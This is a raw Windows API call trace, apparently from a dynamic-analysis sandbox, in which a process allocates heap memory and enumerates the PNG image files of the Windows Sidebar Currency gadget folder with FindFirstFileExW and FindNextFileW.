RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x11f5af0 [0080.640] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x12469c0 [0080.640] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fe3d0) returned 1 [0080.640] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x863263c0, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x863263c0, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x296c7da5, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x200, dwReserved0=0x0, dwReserved1=0x0, cFileName="add_down.png", cAlternateFileName="")) returned 1 [0080.640] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fe3d0 [0080.641] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fe3d0) returned 1 [0080.641] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fe3d0 [0080.641] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fe3d0) returned 1 [0080.641] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fe3d0 [0080.641] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x11f5b10 [0080.642] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1246ac8 [0080.642] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fe3d0) returned 1 [0080.642] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x863263c0, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x863263c0, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x296edf03, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x1a4, dwReserved0=0x0, dwReserved1=0x0, cFileName="add_over.png", cAlternateFileName="")) returned 1 [0080.642] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fe3d0 [0080.642] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fe3d0) returned 1 [0080.642] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fe3d0 [0080.643] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fe3d0) returned 1 [0080.643] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fe3d0 [0080.643] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x11f5b30 [0080.643] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1246bd0 [0080.643] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fe3d0) returned 1 [0080.643] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x86300263, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x86300263, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x296edf03, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0xe4, dwReserved0=0x0, dwReserved1=0x0, cFileName="add_up.png", cAlternateFileName="")) returned 1 [0080.643] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fe3d0 [0080.644] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fe3d0) returned 1 [0080.644] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fe3d0 [0080.644] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fe3d0) returned 1 [0080.644] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fe3d0 [0080.644] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x11f5b50 [0080.644] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1247308 [0080.645] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fe3d0) returned 1 [0080.645] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x862b3fa9, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x862b3fa9, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x29714061, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x406b, dwReserved0=0x0, dwReserved1=0x0, cFileName="base-docked.png", cAlternateFileName="")) returned 1 [0080.645] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fe3d0 [0080.645] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fe3d0) returned 1 [0080.645] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fe3d0 [0080.645] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fe3d0) returned 1 [0080.645] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fe3d0 [0080.645] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x11f5b70 [0080.646] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1247410 [0080.646] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fe3d0) returned 1 [0080.646] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x29714061, ftCreationTime.dwHighDateTime=0x1c9ea0e, ftLastAccessTime.dwLowDateTime=0x29714061, ftLastAccessTime.dwHighDateTime=0x1c9ea0e, ftLastWriteTime.dwLowDateTime=0x29714061, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0xaa66, dwReserved0=0x0, dwReserved1=0x0, cFileName="base-undocked-2.png", cAlternateFileName="")) returned 1 [0080.646] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fe3d0 [0080.646] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fe3d0) returned 1 [0080.646] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fe3d0 [0080.646] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fe3d0) returned 1 [0080.646] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fe3d0 [0080.647] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x11f5b90 [0080.647] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1247518 [0080.647] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fe3d0) returned 1 [0080.647] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x86267cef, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x86267cef, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x29714061, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0xd31a, dwReserved0=0x0, dwReserved1=0x0, cFileName="base-undocked-3.png", cAlternateFileName="")) returned 1 [0080.647] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fe3d0 [0080.647] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fe3d0) returned 1 [0080.647] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fe3d0 [0080.648] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fe3d0) returned 1 [0080.648] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fe3d0 [0080.648] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x11f5bb0 [0080.648] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1247620 [0080.648] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fe3d0) returned 1 [0080.648] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8628de4c, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x8628de4c, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x2973a1bf, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0xf240, dwReserved0=0x0, dwReserved1=0x0, cFileName="base-undocked-4.png", cAlternateFileName="")) returned 1 [0080.648] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fe3d0 [0080.649] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fe3d0) returned 1 [0080.649] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fe3d0 [0080.649] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fe3d0) returned 1 [0080.649] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fe3d0 [0080.649] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x11f5bd0 [0080.649] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1247728 [0080.649] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fe3d0) returned 1 [0080.649] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x863987d7, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x863987d7, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x29a0dbb9, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0xb93, dwReserved0=0x0, dwReserved1=0x0, cFileName="combo-hover-left.png", cAlternateFileName="")) returned 1 [0080.649] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fe3d0 [0080.650] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fe3d0) returned 1 [0080.650] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fe3d0 [0080.650] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fe3d0) returned 1 [0080.650] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fe3d0 [0080.650] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x11f5bf0 [0080.650] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1247830 [0080.651] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fe3d0) returned 1 [0080.651] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x863be934, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x863be934, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x29a0dbb9, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0xb45, dwReserved0=0x0, dwReserved1=0x0, cFileName="combo-hover-middle.png", cAlternateFileName="")) returned 1 [0080.651] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x863be934, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x863be934, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x29a0dbb9, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0xba3, dwReserved0=0x0, dwReserved1=0x0, cFileName="combo-hover-right.png", cAlternateFileName="")) returned 1 [0080.651] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8634c51d, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x8634c51d, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x29a33d17, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x304, dwReserved0=0x0, dwReserved1=0x0, cFileName="delete_down.png", cAlternateFileName="")) returned 1 [0080.651] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8634c51d, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x8634c51d, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x29a33d17, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x2b8, dwReserved0=0x0, dwReserved1=0x0, cFileName="delete_over.png", cAlternateFileName="")) returned 1 [0080.651] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8634c51d, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x8634c51d, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x29a59e75, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x1dd, dwReserved0=0x0, dwReserved1=0x0, cFileName="delete_up.png", cAlternateFileName="")) returned 1 [0080.651] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x863987d7, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x863987d7, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x29a59e75, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0xcc4, dwReserved0=0x0, dwReserved1=0x0, cFileName="graph_down.png", cAlternateFileName="")) returned 1 [0080.651] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8637267a, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x8637267a, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x29a59e75, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0xd64, dwReserved0=0x0, dwReserved1=0x0, cFileName="graph_over.png", cAlternateFileName="")) returned 1 [0080.651] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8637267a, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x8637267a, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x29a7ffd3, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0xb71, dwReserved0=0x0, dwReserved1=0x0, cFileName="graph_up.png", cAlternateFileName="")) returned 1 [0080.651] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8640abee, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x8640abee, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x29acc28f, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x2d9, dwReserved0=0x0, dwReserved1=0x0, cFileName="info.png", cAlternateFileName="")) returned 1 [0080.651] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x863e4a91, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x863e4a91, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x29af23ed, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0xbda, dwReserved0=0x0, dwReserved1=0x0, cFileName="row_over.png", cAlternateFileName="")) returned 1 [0080.651] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x862da106, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x862da106, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x29af23ed, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0xb0f, dwReserved0=0x0, dwReserved1=0x0, cFileName="triangle.png", cAlternateFileName="")) returned 1 [0080.651] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x862da106, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x862da106, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x29af23ed, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0xb0f, dwReserved0=0x0, dwReserved1=0x0, cFileName="triangle.png", cAlternateFileName="")) returned 0 [0080.651] GetLastError () returned 0x12 [0080.652] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Currency.Gadget\\images\\*", fInfoLevelId=0x1, lpFindFileData=0x119ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ec9c) returned 0x2e9000 [0080.652] FindClose (in: hFindFile=0x2e8f80 | out: hFindFile=0x2e8f80) returned 1 [0080.652] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80046d91, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x8063a49c, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x8063a49c, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0080.652] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8640abee, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x8640abee, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x296c7da5, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x3129, dwReserved0=0x0, dwReserved1=0x0, cFileName="activity16v.png", cAlternateFileName="")) returned 1 [0080.652] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x863263c0, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x863263c0, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x296c7da5, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x200, dwReserved0=0x0, dwReserved1=0x0, cFileName="add_down.png", cAlternateFileName="")) returned 1 [0080.652] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x863263c0, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x863263c0, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x296edf03, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x1a4, dwReserved0=0x0, dwReserved1=0x0, cFileName="add_over.png", cAlternateFileName="")) returned 1 [0080.652] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x86300263, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x86300263, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x296edf03, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0xe4, dwReserved0=0x0, dwReserved1=0x0, cFileName="add_up.png", cAlternateFileName="")) returned 1 [0080.652] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x862b3fa9, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x862b3fa9, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x29714061, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x406b, dwReserved0=0x0, dwReserved1=0x0, cFileName="base-docked.png", cAlternateFileName="")) returned 1 [0080.652] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x29714061, ftCreationTime.dwHighDateTime=0x1c9ea0e, ftLastAccessTime.dwLowDateTime=0x29714061, ftLastAccessTime.dwHighDateTime=0x1c9ea0e, ftLastWriteTime.dwLowDateTime=0x29714061, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0xaa66, dwReserved0=0x0, dwReserved1=0x0, cFileName="base-undocked-2.png", cAlternateFileName="")) returned 1 [0080.652] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x86267cef, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x86267cef, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x29714061, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0xd31a, dwReserved0=0x0, dwReserved1=0x0, cFileName="base-undocked-3.png", cAlternateFileName="")) returned 1 [0080.652] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8628de4c, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x8628de4c, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x2973a1bf, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0xf240, dwReserved0=0x0, dwReserved1=0x0, cFileName="base-undocked-4.png", cAlternateFileName="")) returned 1 [0080.652] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x863987d7, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x863987d7, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x29a0dbb9, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0xb93, dwReserved0=0x0, dwReserved1=0x0, cFileName="combo-hover-left.png", cAlternateFileName="")) returned 1 [0080.652] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x863be934, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x863be934, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x29a0dbb9, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0xb45, dwReserved0=0x0, dwReserved1=0x0, cFileName="combo-hover-middle.png", cAlternateFileName="")) returned 1 [0080.652] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x863be934, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x863be934, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x29a0dbb9, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0xba3, dwReserved0=0x0, dwReserved1=0x0, cFileName="combo-hover-right.png", cAlternateFileName="")) returned 1 [0080.652] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8634c51d, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x8634c51d, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x29a33d17, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x304, dwReserved0=0x0, dwReserved1=0x0, cFileName="delete_down.png", cAlternateFileName="")) returned 1 [0080.652] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8634c51d, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x8634c51d, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x29a33d17, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x2b8, dwReserved0=0x0, dwReserved1=0x0, cFileName="delete_over.png", cAlternateFileName="")) returned 1 [0080.652] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8634c51d, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x8634c51d, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x29a59e75, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x1dd, dwReserved0=0x0, dwReserved1=0x0, cFileName="delete_up.png", cAlternateFileName="")) returned 1 [0080.652] 